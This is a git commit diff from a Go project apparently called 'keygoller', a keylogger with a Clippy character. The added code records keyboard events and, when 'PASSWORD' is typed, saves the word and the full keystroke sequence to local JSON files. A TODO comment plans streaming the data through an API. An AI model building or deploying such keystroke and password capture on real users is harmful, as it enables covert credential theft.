saving interesing data into json file following a specifig scheme of nodes and edges

This commit is contained in:
christalib 2020-01-12 16:41:45 +01:00
parent 522cdd0f3d
commit 8dcd53541f
2 changed files with 71 additions and 3 deletions

View file

@ -1,25 +1,32 @@
package ai package ai
import ( import (
"encoding/json"
"io/ioutil"
"os"
"regexp" "regexp"
"strings" "strings"
"git.postblue.info/keygoller/utils" "git.postblue.info/keygoller/utils"
"github.com/google/uuid"
"github.com/sirupsen/logrus"
) )
// ReadFromStream is the main AI function, it reads from the stream of the keys // ReadFromStream is the main AI function, it reads from the stream of the keys
// and then answers if some conditions are met. // and then answers if some conditions are met.
func ReadFromStream(inputChan chan utils.InputEvent) { func ReadFromStream(inputChan chan utils.InputEvent) {
var b strings.Builder var b strings.Builder
input := make([]utils.InputEvent, 0)
for { for {
data := <-inputChan data := <-inputChan
b.WriteString(data.KeyString()) b.WriteString(data.KeyString())
input = append(input, data)
switch b.String() { switch b.String() {
case b.String(): case b.String():
if findPassword(b.String()) { if findPassword(b.String()) {
utils.ClippySays("I LIKE YOUR PASSWORD") utils.ClippySays("I LIKE YOUR PASSWORD")
saveData(b.String(), input)
b.Reset() b.Reset()
} }
if findLove(b.String()) { if findLove(b.String()) {
@ -33,6 +40,69 @@ func ReadFromStream(inputChan chan utils.InputEvent) {
} }
} }
type Node struct {
ID uuid.UUID
Word string `json:"word"`
}
type Edge struct {
ID uuid.UUID
NodeID uuid.UUID `json:"NodeID"`
Keys []utils.InputEvent `json:"keys"`
}
func saveData(word string, keysPressed []utils.InputEvent) {
err := fileExists("nodes.json")
err = fileExists("edges.json")
if err != nil {
logrus.Error(err)
}
nodeFile, err := ioutil.ReadFile("nodes.json")
edgeFile, err := ioutil.ReadFile("edges.json")
if err != nil {
logrus.Error(err)
}
nodeDatas := []Node{}
edgeDatas := []Edge{}
json.Unmarshal(nodeFile, &nodeDatas)
json.Unmarshal(edgeFile, &edgeDatas)
node := &Node{
ID: uuid.New(),
Word: word,
}
edge := &Edge{
ID: uuid.New(),
NodeID: node.ID,
Keys: keysPressed,
}
nodeDatas = append(nodeDatas, *node)
edgeDatas = append(edgeDatas, *edge)
nodeBytes, err := json.Marshal(nodeDatas)
edgeBytes, err := json.Marshal(edgeDatas)
ioutil.WriteFile("nodes.json", nodeBytes, 0644)
ioutil.WriteFile("edges.json", edgeBytes, 0644)
}
func fileExists(filename string) error {
_, err := os.Stat(filename)
if os.IsNotExist(err) {
_, err := os.Create(filename)
if err != nil {
return err
}
}
return nil
}
func findPassword(input string) bool { func findPassword(input string) bool {
r, _ := regexp.Compile("PASSWORD") r, _ := regexp.Compile("PASSWORD")

View file

@ -117,8 +117,6 @@ func main() {
utils.ClippySays("i am here to help") utils.ClippySays("i am here to help")
// TODO // TODO
// !) get streaming data from keyboard
// 2 unpackage the data to be human readable
// 3 stream the data through an api // 3 stream the data through an api
StreamChannel := make(chan utils.InputEvent) StreamChannel := make(chan utils.InputEvent)
keyboard := getKeyboard() keyboard := getKeyboard()